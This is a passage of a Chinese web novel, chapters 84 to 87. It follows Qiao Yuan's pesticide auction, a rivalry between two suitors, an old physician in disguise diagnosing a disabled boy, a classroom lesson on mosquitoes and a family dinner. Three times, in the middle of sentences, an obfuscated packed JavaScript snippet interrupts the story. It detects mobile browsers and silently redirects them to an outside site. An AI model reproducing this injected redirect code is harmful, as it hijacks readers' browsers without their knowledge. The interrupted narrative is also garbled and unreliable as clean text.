打从乔元说了买扑的事儿，周进连夜就着人送信去了郢州城里给他舅父，问询了买扑的一应事项。为了吸引多些人过来，他还特地烦请舅父将他们这儿要买扑的消息散出去。周进本以为能来个郢州当地的富商就是顶天了，没成想，一来就来了个整个景朝最大的永丰行会同近几年声名鹊起的贺家商行。 站在最上头往下扫，今日的金台县衙里头可谓是人山人海。在此处上任多年，周进也没见过这样的场面。 他清清嗓子，大声道：“诸位稍安勿躁，还请听我说一说这买扑的细则。” 毕竟是当地父母官，周进话一出口，堂下就安静了下来。 他道：“各位想必都是为了乔姑娘研制的农药而来，我同乔姑娘商议过了，这买扑的流程便遵循我们景朝行会定下的规则，价高者得。但唯一不同的是，最终定下那日，八成由价格决定，剩下两成则乔姑娘来定。自今日起一共三日，还请各位准备好自家的文书，上头写上各家的长处、商路、价格等，递交我处。” “待三日后，我们在此间决出谁家买定。” 来的都是混迹商道的老手，对于买扑的流程很是熟悉，周进一说，各家便知道该怎么做了。 可这最终两成由乔姑娘决定，这又是什么说法？ “大人，乔姑娘的这两成如何判定？”有人问道。 周进看了乔元一眼，乔元会意上前道：“诸位莫要担心，这两成并非以我一人的好恶作为主，具体的评判标准早就已经写好蜡封放在周知县处了，三日后自当揭晓。” 乔元留这一手，就是怕农药配方会落到那些唯利是图的人手里。两成占比，够她同这些人打的有来有回了。 这可是从来没有过的事情，堂下马上便有人觉得不满，吵吵嚷嚷地让乔元今日就先公布出来。 “这事乔姑娘既定下了，就莫要再多说什么。”华兴贤出言，扫了一眼在后头蹦地最欢的几个人。他的目光一过，下头的人登时噤若寒蝉。 周进见状，赶紧唤了属吏进来，打圆场道：“还有一些细则已经在纸上写清楚了，诸位自行查看便是，要是有什么问题，可以随时来县衙相询。” 在场的都是各方有头有脸的人物，哪个上头没几尊大佛，今日若是起了冲突，受害的铁定是他，周进觉得自己已经极尽圆滑。 好容易将众人安抚好，又有华兴贤坐镇堂中，县衙内热闹了小半个时辰，买扑的第一场面议会终是圆满结束。 眼看着快到申时，同县衙里的几人告别，乔元急匆匆地就往巡检司赶。 “乔姑娘。”贺令璟见她往外走，追在后头喊住她。 “贺公子？”乔元停下脚步，回头看他。 贺令璟走到她身边道：“姑娘可有空同贺某喝杯茶？” 买扑的事儿还没定下，她同商户走的太近可不行，乔元一口回拒道：“今日怕是不巧，我还有事，不若改日再聚。” 贺令璟闻言，“那也无妨，姑娘要去何处，我送你去便是。” “就不劳烦贺公子了，我自己能去得。”乔元依旧出言婉拒。 贺令璟看向她，神色里透着几分了然，“姑娘放心，我并非要同你问询买扑有关的事宜，不过是见姑娘行色匆匆，想尽几分绵力而已。” 大家都是聪明人，有些话不必说的太明白。乔元拧眉正想回绝，却听得一阵急促的马蹄声在县衙处停下。 乔元下意识往街边看去，只见江稷身着青色官服正骑在马上，男人面容冷峻，对着贺令璟讥讽道：“她既不愿你相送，又何必勉强。” 84. 开学（四） 江稷就这样居高临下地看着贺令璟，恰逢此时，他座下的黑马打了个响鼻，显得愈发嘲弄。 两个男人的视线虚空相交，一高一低互相对望。 贺令璟面上的笑意没丝毫改变，“乔姑娘为人良善济世安民，我自然应当为她尽心尽力。” 江稷单手拍了拍黑马，眼神却是紧盯着他，“大可不必，她既拒了你，贺公子还是退远些的好。” “退不退去，乔姑娘说便可，我倒不知巡检司如今连这事儿都要管。”贺令璟分毫不让。 “呵。”江稷利落翻身下马，踏着台阶走到贺令璟面前。“一个男人，若是连姑娘拒绝的话都听不懂，那便揣着明白装糊涂了，贺公子，你说是不是？” “听上去巡检使很了解姑娘？”贺令璟游刃有余道。 “不曾，不过见过几起男子求而不得故意伤害的案子罢了。”江稷挑起眼尾，多了几分不耐，“行了，我也不同你耍嘴皮子了，乔姑娘同我有约在身，就不用贺公子操心了。” 说罢，他也不管乔元作何反应，直接拉着她的袖子就往外走。 “哎——江稷。”乔元惊呼一声，却并未抵抗。 江稷不由分说地一边扯着她，一边牵着马，像是个一拖二的管家。 贺令璟站在原地，看着乔元被江稷牵着一同往巡检司的方向走去，他方才上扬的唇角回落，眼底的神色一点点冷下来。 直到走出了半条街开外，瞧不见县衙的牌匾了，乔元这才甩了甩手腕道：“行了，贺公子已经看不见了，你快些松开罢。” 江稷拉着个臭脸，“我同你说了他不是什么好东西，你怎还同他在一处。” 乔元有些莫名道：“今日我来县衙商量买扑的事儿，他是贺家商行的人，自然也是在的。” 江稷顿了一顿，却分毫没有松开乔元袖子的意思，只道：“下次若他还在，你差人同我说一声，我同你一起去县衙。” 这人今日怪的生奇，他一个巡检使来县衙作甚。 乔元只当他是担心自己的安危，“左右都在县衙，是人来人往的场合，想来他也不会对我做些什么，你放心罢。” “你！”江稷神色复杂的回头，看到乔元面上带着懵懂的坦然。 他深吸几口气，终于还是松开了她的袖口。“你要遇见他，一定要记得同我巡检司的差役说一声。” “知道了。”乔元含糊地应了过去，很是生硬地扯开话题道：“这个时辰，你怎会出现在这里？” “昨日张邃山来信你说申时会来巡检司，我跑马赶回来的。”江稷说这话的时候，跃动的日光落在他额前，碎发在风里飞扬，叫乔元有一瞬炫目。 她有些急促地收回目光，缓和心绪道：“最近可是不太平？” “不过一些小事罢了，我们巡检司可不是吃素的。”江稷话里透着无畏。 “不管事大事小，总归是要当心些的。”乔元道。 江稷侧首打量她，复而又笑起来，应道：“好。” 二人就这样并肩回了巡检司，看门的差役见他们同行，如今也很是见怪不怪。 入了巡检司的大门，倒是有个眼力见儿的差役见到乔元，先同江稷问安，随后上前道：“乔姑娘，上回在千金药铺闹事的那一家人已经被处理了。他们每人被打了十杖，又罚没了五块银锭赔给那郎中，这事儿便算是了了。我已经警告过他们不准再到姑娘面前生事，还请姑娘不必再忧心。” “什么时候的事？”江稷从未听过。 “大人这几日不在巡检司怕是不知道。”差役闻言，把事情简单地复述了一遍。 听完差役所说，江稷轻点头，示意他先下去。 “这天底下，不是谁都有资格为人父母的。”江稷的情绪很淡，似乎只是在为李绒感叹。 但乔元却忽然想起那一日，他在月下吐出的只言片语。 只可惜她还没来得及出声安慰他，江稷却很是自在地开口道：“你倒是心善，为了救她就收她为徒，你可知你严老弟子的名号有多尊贵？” 也罢。 乔元收回未出口的言语，顺着他的话道：“救一个是救，救两个也是救。名号这些都是虚的，若能救下她们，便是让我收七八百个徒弟，我也是愿意的。” “况且。”乔元难得透了点狡黠，“名号这种东西，用的人多了，自然就不值钱了。不必怕它坏事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672772|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “你倒是会盘算。”江稷领着她往前走，“我听闻南边发了洪，卖儿卖女的，你难道都救得过来？” “如今不到六月，如何会有洪灾？”乔元下意识觉得奇怪。 “今年江淮一带雨势极大，好几处都不太安稳。”江稷道。 乔元敛眉思索，能在现在这个时候发洪，只能是准静止锋。可是按理说，如今湿暖水气才刚入内陆，这洪灾来得似乎太早了些。郢州地处偏北，现在倒是没什么影响，也不知再入夏会如何。 江稷见她垂下眉眼，出声道：“放心罢，这事儿已经上达天听，想来没什么大事。” 乔元点点头，既然遭了洪，洪灾后的病害和虫害自是少不了的。严维运同司农寺，怕是要忙不过来了。 也不知他能不能收到她寄去的信。 乔元这厢刚起的担忧，却在下一瞬被江稷破功。 只见他先乔元一步入内，一脚踢在院内那张朝内的摇椅上，很是放肆道：“老头，快些起来。” 乔元顺着他的声音往前望去。 却是个熟人。 纪师正躺在摇椅上扇风，一旁有香茶一壶烧鸡一只，很是快意。被江稷这么一踹，摇椅登时卡着不动了。 他恼怒起身，抄起扇子就往江稷身上丢，“臭小子，你长本事了，仔细我今日就给你下点软筋散让你喝一壶的。” 江稷连躲都不用躲，单手夹着扇子给自己扇起风来，痞笑道：“你如今想要打我，怕是不能。” 纪师被气地吹胡子瞪眼，他眼一瞟，看见站在一旁的乔元，又施施然坐下道：“无妨。这扇子就当给你小子扇风了。不过，听说今日有人要求我看诊，老头子我今日心绪不佳，想来是不行了。” 这回轮到江稷憋了一口气，他道：“你要的东西我都给你寻来了，你怎的还临场变卦？” 纪师缓言道：“我这人向来脾气不太好，就算变卦你又如何？” 眼看着二人大眼瞪小眼，怕是要有一场好戏。乔元上前一步躬身道：“还请先生施以援手。” 纪师边摸着下巴上的胡子，边上下打量乔元。过了半晌，他忽道：“小姑娘瞧着倒是眼熟。” 85. 骤变（二） 纪师早些年也是在江湖上闯荡过的，三教九流该如何行事，他信手拈来。 花了点铜板找卜卦的买了个神算幡，纪师很是满意地掐了个诀，配上他泛白的两鬓，倒还真像那么回事。 乔元跟在后头，有些不放心地问江稷，“真就这样让他去了？” 江稷道：“今日若拦着，他明日自己找法子去更是麻烦。不如在我们眼皮子底下，万一出了什么事儿也好有个照应。” 这倒也是。 说来当年她发现新蝴蝶亚种的时候，也是这样的心情。毕竟专业领域的新发现，对谁来说都是抵挡不住的诱惑，乔元点点头没再说话。 前头的纪师才不管二人在后头耳语什么，就这样大摇大摆地往吴玉梅家走去。 到了她家附近，纪师让他们二人藏在暗巷，自己直接上去敲门。 “神算卜卦，十文一次。”他连敲了几下，院门才被打开。 乔满仓露出他那张疲惫的脸，他上下打量一眼纪师，“去去去，到别处要饭去。” “哎哎！善人，我可不是要饭的。”纪师抬脚卡着门缝，“我瞧善人眉带愁色，乌云盖顶，近日怕是多灾啊！” 乔满仓才不听这些，推着纪师就往外走，“行了行了，你去别家罢，我家无事。” 纪师卡进去的脚眼见要被推出来，他忙道：“善人家中可有痴儿？且一病经年未有好转？” 他这话一出口，乔满仓推他的步子停了一瞬，“你如何得知？” 不过转念，乔满仓又想，自家的事儿可不是什么秘密，想来这相师应是道听途说来骗钱的，他又用了几分力道想将纪师推出门外。 眼看着大门要被关上，纪师不再挣扎，转而站在原地闭眼动幡，口中念念有词，随后蓦地睁眼道：“你家痴儿早年伶俐，同水相冲才成今日这般，心智如同三岁再无增长，我说的是也不是？” 自打搬到金台县，邻里只知他家有一个痴儿，却不知病因为何。乔满仓往外推纪师的手骤停，“这……你如何得知？” 纪师‘嘿嘿’一笑，捻着长须道：“善人若是信我，不若让我去进去瞧瞧。” 乔满仓回头瞧了一眼坐在地上玩木锤的乔天宝，别家儿子到了这个年纪，早就已经开始相看姑娘准备娶妻生子了。可他家的，却依旧如同三岁稚童，有些时候连吃喝拉撒都须人在侧看顾。 早些年天宝刚病的时候，他们为了救他，求医问药几乎耗尽家财。可不论找了医术多高明的郎中，最终只得他们的一声叹息，说已经病入膏肓药石无灵，怕是一辈子都只能这样了。后来，吴玉梅听说不少山林道观很是灵验，她便三步一叩地诚心去求，可最终呢，还是这样。 ……事情已经过了这么多年，乔满仓轻叹一声，“你进来罢。” “得嘞。”纪师闻言，脚步很是轻健地往院内走，边走还不忘将他那神算幡给系起。 而此刻院外另一侧，趁着纪师同乔满仓说话的功夫，江稷同乔元已经绕到了围墙边，小声商量着该如何翻上围墙。 上次踩的烂木头已经被人收走了，乔元找不到什么能垫脚的东西。 她正四下里为这事儿犯难，就听得江稷道：“乔元，来踩这儿。” 乔元回头，却见江稷双腿分开，已经扎好了马步。 “踩哪儿？”乔元还没理清楚状况。 江稷单手拍了拍大腿，“从前习武的时候，我腿上就算一边挂着一个垂石，也不会撼动分毫，你这点身量，直接踩上来便是。” 乔元站在原地一时间有些进退两难，可眼见纪师已经入了院内，怕是等会儿就要见到乔天宝了。 她不再犹豫，抬脚就往江稷大腿上踩。 江稷勾起唇角，伸手小心扶着她。柔软又温热的手同粗粝的大掌上下贴合在一处，指骨相交，异常契合。习武惯了怕收不住力，江稷只敢用上三分力气，生怕弄疼她了。 乔元借着江稷的力，双腿都踩到了他的右腿上。垫上这一点高度，刚好能看清院内的情形。 扒着墙头，乔元松开了江稷的手。江稷收回残留余温的右手，在下头微微分开双臂，时刻防着乔元从围墙跌落。 明明二人之间很是克己守礼，但双手之间还留着彼此的体温，脚下踩着的是他坚实的肌肉，乔元的耳根和面颊还是红了几分。 在心里唾弃自己一口，乔元强迫自己冷静下来，这才聚精会神往院内看去。 院内。 跟着乔满仓甫一进门，纪师就见到满院子泥巴和残花。院内乱糟糟的，似是已经很久没经人打理。 他的视线在院内逡巡片刻，就看到坐在角落泥地上的乔天宝。 只一照面，纪师便觉出乔天宝的不同来。怕乔满仓起疑，他道：“想来地上这位便是令公子了？我可能去近处替他看看？” 乔满仓点点头，走在他前头先他一步扶起乔天宝，“天宝，可要用些糖饼？” 乔天宝一听有糖饼吃，忙不迭地站了起来。因站地有些急，他的身子不可避免地歪了一下，好在有乔满仓扶着，才没出事情。 乔满仓很是习以为常地打水洗干净他的手，又拿了块糖饼给他，乔天宝这才乖乖地坐在凳子上吃起饼来。 “相师，请罢。”乔满仓对纪师道。 纪师会意，轻手轻脚地上前，坐到乔天宝身侧。 有乔满仓在一旁看着，他没法一上来就给他把脉。纪师只好先从口袋里掏出成套买的黄符，拿着在乔天宝周围晃了晃，又掐诀念了一阵。好容易等到机会，趁乔满仓不注意，这才扣住乔天宝的一只手，用黄符做掩护，号起脉来。 乔天宝单手捏着糖饼，吃得正香，丝毫没有反抗的迹象。 号脉不过几息，纪师心头便有了判断。乔天宝的脉象细弱无力，带有弦细之象，脉行不流畅且有阻碍之感，属浮大无力。足以证明他元气大亏，正气不足，五脏六腑之气皆虚。 他再观他面相，面部扁平，眼距很宽，鼻梁更是比常人矮上很多。诸上几点，同乔元所说别无二致。 纪师心里有了数，他起身将手里的黄符叠成一沓，递给乔满仓，很是鬼祟地贴近他耳边道：“善人，我方才开了天眼，这才惊觉令公子成痴儿并非是人祸，而是天罚。此间因果，恕我无能为力。” “这……”乔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14699460|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满仓从未听过这样的说法，他人呆立在原地，“这这这，相师所言当真？这可如何是好？” 纪师冲他连连摆手，“既是天定，非人力可改，便是请了鸿钧老祖过来，怕也是不行的。” 对这样的结果，乔满仓显然已经有了预料，但他面上难免哀戚太过，纪师想了想，冲他道：“善人若想令公子的身子往后少受些病痛，不若将枸杞子、菟丝子、熟地黄同山茱萸煮水喂给他，只作日常调养也就罢了。” 说完，他提着自己的神算幡往外走，头也不回地离开了乔满仓家。 直到纪师出了院子，吴玉梅才从屋里出来。 乔满仓在家的时候，并未拴着她。但这事儿横在夫妻中间，终究是冲淡了他们二人的情分。 “方才那人是谁？”吴玉梅冷言道。 “不过一个相师罢了。”乔满仓没多说什么。 “相师？我瞧着是骗子才是。往后这样的人，别放进院子里来，免得脏了我天宝的眼。”吴玉梅连一个正眼都不愿意给乔满仓。 二人这样粗粗说了几句，吴玉梅便又回屋里去了。 自打上次她在西市上闹事，被巡检司责打之后，邻里都清楚了她是什么样的人，渐渐也不同她往来了。白日里乔满仓外出负担家中开销，只得将她栓在屋内。这样日复一日，她的性格愈发阴郁不定。如今就算是没被栓着，也不爱往院子里走，只愿意在屋内做些手工活计。 有关门声从屋里传出，乔满仓在原地立了一阵，沉闷地走到乔天宝面前，替他擦擦嘴角，神色里透着掩饰不住的疲惫，“天宝，不论如何，爹都会努力赚钱，养你一辈子。” 出了乔满仓家，纪师在后头的路口见到了乔元同江稷二人。 二人一人面上有些泛红，一人双手抱胸，腿上还有两个很明显的脚印。 他冲二人奇道：“怎的，你们同人打架了？” 江稷舔舔唇，瞄了一眼乔元才道：“你莫管我们的事儿，只说结果如何便行了。” 兔崽子，这么多年了还是这般不讨喜。 纪师斜眼略过他，走到乔元面前道：“丫头，同你说的分毫不差，我号了那乔天宝的脉，虽说与常人无大不同，但各中细微差别，想来便是他的病因所在。只可惜这般奇病，却无药可治，当真不甘。” “不成，我得记下他的脉象，好生研究一番，若是有些微效用，也是大功一件。”纪师似是想到什么，嘴里叨叨着一些话，头也不回地往巡检司方向走去。 他这一走，原地就剩了乔元同江稷二人。 “那……我便先回家了？”乔元抬头看向江稷。 “行，我送你。”江稷抬步往前迈去。 “别别别，我自己识得回去的路，老先生一人回去怕是不安全，你还是先顾他罢。”说罢，好似后头有什么洪水猛兽似的，乔元逃也似地离开了永宁巷。 江稷看着她跑走的背影，面上带起几分无奈的笑意。 双手相交的触感还在他的脑海里炽热翻滚，江稷张开右手，垂眸凝视半晌。末了，他轻咳一声，缓了缓有些发紧的喉头，双手交叠相负，往巡检司方向走去。 86. 骤变（三） 昨日来不及同纪师定下时辰，好在今日一早，张邃山巡街打问讯处过，给乔元递来消息，说今日晚间纪师就会上乔家来。 听他这么说，乔元心下安定不少，嘱咐乔长平中午回家记得说一声，接着忙起自己手头的事来。待送走来问询的老农，眼见时辰差不多了，她这才上楼开始给女学弟子们上课。 比起初来几天的不适应，经过这几日的课程磨炼，姑娘们多多少少已经开始适应了这样的节奏，学习速度也比之前快了不少。 “先生，我们今日学什么呀？”见乔元从楼下上来，已经有姑娘按捺不住开口问道。 也不知是谁起的头，乔元昨日来上课，就有姑娘开始称她为‘先生’。到了今日，大家已经都这般叫了。 乔元冲她们笑笑，背身在白板上画出大致的轮廓，接着面向众人道：“今日，我们来学蚊蚋。” 江稷昨日说南边水患的事儿总让她觉得有些不安，夏日渐来，水患过后，是蚊子和苍蝇大肆产卵繁殖的大好时机。她早些将这些知识铺垫下去，待真遇到那日，也不至于仓皇无措。 “蚊蚋？” “我方才就打死一只呢！” “过了六月就到夏日了，届时哪里都是蚊蚋，先生快教教我该如何去除它们。” “是呢，一被咬就会发痒，这东西真是我天生的冤家。” 下头姑娘们俱是翘首以盼，等着乔元教她们有关蚊虫的知识。 乔元也不卖关子，开始引入道：“先头我们学过完全变态发育，还有谁记得这个概念？” “我！我！”好几个姑娘同时举手。 乔元看了下头几人，点了邱月。 邱月虽说对虫类依旧惧怕，但学起学识来，却是一等一的快，只听她起身答道：“昆虫在其生命周期中会经历四个明显不同的阶段，卵、幼虫、蛹和成虫。这种发育模式致使它们在不同生命阶段具有截然不同的形态和功能，这便是完全变态发育。” 属于现代社会的知识，出自于千百年前衣衫古着的姑娘口中。 古与今、旧与新时代的割裂感，让乔元的心潮有一瞬澎湃。 她似乎，在做一件前无古人后无来者的事情。 邱月说完，在众人的掌声中落座。乔元收好心绪，点点头接着道：“蚊蚋同样属于完全变态发育，但与先前我们介绍的蚂蚁、蜜蜂等不同的是，它在成虫之前，基本都在水中生活……” 夏风拂过檐铃，发出清脆的声响。 乔元在农事女学亲手播下的种子，在一日一日膨胀，发芽。 —— 永宁巷。 日头高起，眼看着快到午时。 吴玉梅放下手头的绣绷，准备做些饭菜好叫乔天宝吃了，这样午后他也能小睡一会儿，歇上一歇。 单脚拖着笨重地铁链，铁链随着她的脚步，同地面发出‘沙沙’的摩擦声。吴玉梅却恍若未觉，很是习以为常地端了个木盆，准备打水洗菜。 还未出厨房门，她便听到外头有几下极有规律的叩门声。 她抓着木盆的手一紧，随手抓了木棍，在地上敲出了几下同叩门声相对的音节。 不多时，便有人翻身进来。 来人黑布蒙面，从怀里掏出一把钥匙递到吴玉梅手里，“我家主人让我来告诉你，你要的东西他都已经准备好了。还有，昨日来你家那相师，同乔元极为熟识。” 骤闻此言，吴玉梅呲目欲裂道：“贱人！她想如何！还想找相师来咒害我家天宝不成？！” 黑衣人并未回答，只道：“今日晚间，那相师会去乔家同她见面。钥匙已经给你了，具体要怎么做，你自己斟酌。” 言毕，黑衣人一个纵身，便离开了吴玉梅家。 “乔元，乔元！”手里的木盆掉落在地，发出沉闷地声响，吴玉梅有些疯癫地不断重复乔元的名字。 她的上下唇在快速颤动，忽得又很是大力地一碰，像是在咀嚼一块生肉。吴玉梅站在原地念了好一会儿，直到她的头渐渐歪斜，有口水自她口中流出，反复念了几次后，她忽的直起头来，“代价，对，代价。” 越说这词，她的眸色越亮，有些疯魔似地在原地抱头转圈，“代价，对，乔元，我一定要让你付出代价。” —— 青石巷。 自打知道‘杏林高手’要来，周素打中午起就开始在家忙活个不停。现在住到城里来了，她闲来无事就研究点吃食，如今的厨艺更胜当初。 虽说周素的身子比在石湾村好上不知多少，但乔满山还是不免担心她，他推了本要出门去干的活，只专心致志在家陪着周素，给她打下手。 白日西斜，乔满山刚出去给外头的灯笼点上灯，就见女儿同儿子一齐回来了。 “爹，今日怎的这般隆重，还在外头等我们归家。”乔长平促狭道。 乔满山弹了乔长平脑门一下，唬脸道：“没个正行。” 乔长平捂着额头‘嘿嘿’一笑，将乔元的袋子往身后一背，就往院里走。 乔满山懒得搭理他，转头朝乔元道：“元姐儿，你今日可累了？” 乔元笑着跟着父兄后面往家里走，“整日在问讯处呆着，哪里能累得到我。倒是爹你，连日出去给人盖房，得多注意身子。” 自打刚到金台县，乔满山找零工给人盖了一日房子。他出色技艺给了工头留下了很是不错的印象，到后来，只要有盖房铺瓦的活计，人家第一个便来乔家喊他。 屋子盖得好，不仅得人夸赞，还能封不少赏钱。乔满山对这样的活计也很是满意，只要一有空，就出去替人盖房。 几人说说笑笑到了屋内，就见饭桌上已然摆了不少菜，有荤有素，色香味俱全。 周素还在厨房里忙活，乔永言则扒在桌边，正在‘呲溜呲溜’地吸口水。 一见着乔元回来，他忙不迭地扑上来道：“二姐姐，你说的那个什么高手何时才能到呀？我都快等不及要用饭了。” 乔元笑着点了点他的鼻头，“小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14717219|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 馋猫。” 二人正说着话，就听得门口传来几声叩门声，乔家几人对视一眼，来了！ 乔满山领头上去开的门，门甫一打开，就见外头站着一身常服的江稷同一个身着褐色长衫的老者。只是不知为何，这老先生瞧着倒是有几分眼熟。 没空细想这些，乔满山赶忙对着二人行礼道：“江大人，老先生。” 江稷上前虚扶了他一把，“何必拘这些虚礼。” 乔满山闻言笑道：“大人大度不愿受着礼，但于我们而言，这礼却是万万不可废的。” 纪师站在一旁，听了会儿二人虚头巴脑的对话，他砸吧两下嘴巴道：“哎，那后生，里头是做什么好东西了，竟这样香。” 乔满山这才反应过来，忙对着他道：“内子备了不少吃食，还请二位移步入席。” “且让我来瞧瞧。”纪师一听，率先抬步跨了进去，江稷同乔满山紧随其后。 为了今日，周素特意将饭桌周边打扫的干干净净，往日放在里头的东西也都挪了出去，整个屋子显得格外宽敞。一见人来，她满脸笑容的邀人入座。 别的事儿都好办，但为谁坐主位一事，乔满山又犯了难。一番谦让过后，最后由纪师一锤定音，他坐主位，其余人挨着他一字排开。 乔家人见江稷没什么意见，也就听从了纪师的安排，这样挨个坐了下来。 为了今日的席面，周素可是用尽了浑身解数，鸡汁羹，炭火炙肉，糖醋鱼，烧臆子……算上餐前的凉菜，林林总总加起来都快十二碟了。 难得吃到这样的好菜，纪师的嘴从进来就没停过。 看着他在主位大快朵颐，乔满山心里边总归有些生奇。这人当真是京城来的杏林高手吗？为何瞧着这般眼熟。奈何席面刚开，这些话他也不好多问，只能在一旁如坐针毡地等着，盼纪师能给他和周素一个答复。 自打纪师进来，周素一开始还能笑着应和几句，可越吃到后面，她就越发紧张。 席面结束，就意味着宣判她的时刻即将到来。 乔元自然瞧出周素的不对来，她从乔长平背手伸手，戳了戳同她隔了一个位置的江稷。 江稷回头看向她，她很是自然地冲他努努嘴，示意他快些让纪师把事情解决了。 江稷会意，直接从桌下抬脚踢了纪师一下。 “嘶——”纪师吃痛抱膝。 坐在他另一侧的乔满山登时一惊，“先生这是怎的了？” 当着乔家人的面，纪师不好发作，只抬眸狠狠瞪了江稷一眼，状作无事道：“无妨，用完你家的好饭食，我也该帮你们解决疑难才是。” 听他这么一说，屋里霎时安静下来。纪师擦了擦嘴直起身子，不过一个动作，原本有些不着调的老头，一眨眼就成了悬壶济世的仁心医士。 他行至周素面前，“乔姑娘已经把事情同我说清楚了，乔天宝其人，我昨日也上门去看过。他这病症，的确是天生娘胎里便得的，同年幼落水，无丝毫关系。” 87. 骤变（四） 简简单单的一句话，却是周素等了半辈子的答案。 咸湿的泪水眨眼间便从她眼眶里掉了下来，周素偏头掩面，哭声幽咽。 乔满山长长吐出一口浊气，忍不住再三追问道：“先生，当真如此吗？” 早些年若是有人这样问，都等不到纪师开口，早就有人讲他赶出去了。 今日看在江稷的面子上，纪师道：“我纵横医道五十载，从未出过差错，你信我便是。” 其实并非是乔满山不信他，实在是他打进来之后，一直在桌上吃吃喝喝，甚至连个名姓也不曾透露。虽说有江稷在一旁，但他心头总归还是有些没底。 “也罢，也罢。”纪师知道乔满山心里在想什么，他随手抓过乔满山的手，给他号起脉来。 “脉象浮而细软，轻取即得，重按不显。可是白日时常觉得劳累，而长夜却是辗转难眠？”纪师道。 这事儿乔满山从未对别人说起过，只有枕边人周素知道。他已然信了七八分。“先生竟连这也知晓？” “这算什么。”纪师抬手，做了个拿笔来的手势。“阳气不足，气血亏虚而已，应是早年操劳太多积下的沉疴。无妨，我给你写个方子，你照着调理便是了。” 乔元见状，很有眼力见的从房内拿了麻纸和竹笔出来。 麻纸表面泛着黄，字写上去会有轻微的晕色。竹笔的笔尖细软，同样也不是写字的好材料。 看到这些东西被乔元拿出来的时候，江稷有片刻愣神，他从未想过，乔元日常用的竟是这样的东西。 可乔元却丝毫不觉得有什么，将东西递给纪师，她极为自然地站在一旁磨起墨来。 接过竹笔，纪师沾墨开始在麻纸上龙飞凤舞。 半晌过后，他拿着麻纸对乔满山道：“行了，拿去罢。不出七日，我保你日夜无虞。” 既然都开始看了，纪师索性把剩下的乔家人挨个看了过去。只要把过脉，每个人有什么问题他都能说得明明白白，连乔长平半夜爱打呼的事儿都给透了出来。 这下，乔家人对他是连一句质疑的话都没了。 将最后一张方子递给周素，纪师朝她语重心长道：“夫人，心结宜解不宜结，日子还长，你要多为自己想想。” 周素的眼眶虽然还有些红肿，但还是顺着他的话点点头。如今压在心头最大的困扰终于得解，她脸上难得带了如释重负的笑意，起身道：“先生且在这儿稍候，我再去做几个下酒菜来，您今日就在这儿好好乐上一场。” 纪师本就对晚上的菜肴极为满意，一听周素又去做菜，他连连道：“好好好，那我就在这儿等着。” 凭纪师的能力，乔天宝的事儿应该错不了。乔满山给自己面前的酒杯满上，郑重地对他行了一礼，“先生，这杯敬你。” 男人们在外头觥筹交错，乔元趁着无人注意，偷偷地溜到了厨房里。 灶台下的柴火忽明忽暗，空气中漂浮着木头燃烧后的淡淡松香味。而周素就这样坐在灶台前的矮凳上，双手撑着额头又哭又笑的。 “阿娘。”乔元慢慢走过去，揽着她的肩膀。 “元姐儿，你怎的来了？”周素忙擦了擦眼泪，冲她道。 多年执念，一朝化解，不论是谁都不知晓该如何应对。 乔元轻声安慰道：“无事的阿娘，今日是个好日子，你若想哭便哭罢。” 周素闻言，扯起一个比哭还难看的笑容，“元姐儿，阿娘真是没用，多亏有你，多亏有你啊……” 妇人的眼泪灼热滚烫，似是要把乔元的手烫出一个洞来。乔元紧紧地抱着周素，有一下没一下地拍着她，“物极必反，否极泰来。阿娘别怕，往后可都是好日子了。” 乔家的这一场席面，一直持续到戌时初刻方歇。 乔永言已经困倦的不行，周素便先带着他进屋洗漱去了。 饭桌上剩下的男人们的脸上都带了明显的醉意，特别是乔满山，走起路来已然很是踉跄。 可纪师却不打算放过他，还端着酒杯涨红脸，誓要和他一决高下。 再喝下去，今日只怕要没完没了，乔元将江稷扯到一旁，同他打着商量该如何将人先送回屋里。 江稷今晚也被劝着喝了不少酒，但他的酒量似乎超出常人的好，乔元盯着他的脸看了半晌，也瞧不出半分醉意。 乔元同他道：“我大哥轻些，不若我们先扶了他进去？” “无妨，你歇着罢。”江稷道，“你爹同大哥，都让我来扶便是。” 说罢，他长腿一迈走到饭桌边上，拉过乔满山的一只臂膀放在肩头，没几下就将人带着往主屋走。 乔满山这样分量的汉子，在江稷手里轻得救像个玩偶似的。没一会儿，他就将人安置好从主屋里出来了。 剩下已经喝得烂醉的乔长平，江稷也是依样画葫芦地给送了回去。 方才还满满当当的饭桌，霎时就空了。 “今日你也辛苦，回去早些休息罢。”将纪师的手臂扛在肩头，江稷回身对乔元道。 乔元送他往门外走，“那你呢？” 江稷晃了晃纪师的胳膊，“我把老头安置好，也就休息了。” 月明星稀，乔家门口的橘红色的灯笼恰到好处的照到二人脸上，带着朦胧的旖旎。 “那……你回去路上小心些。”乔元垂首道。 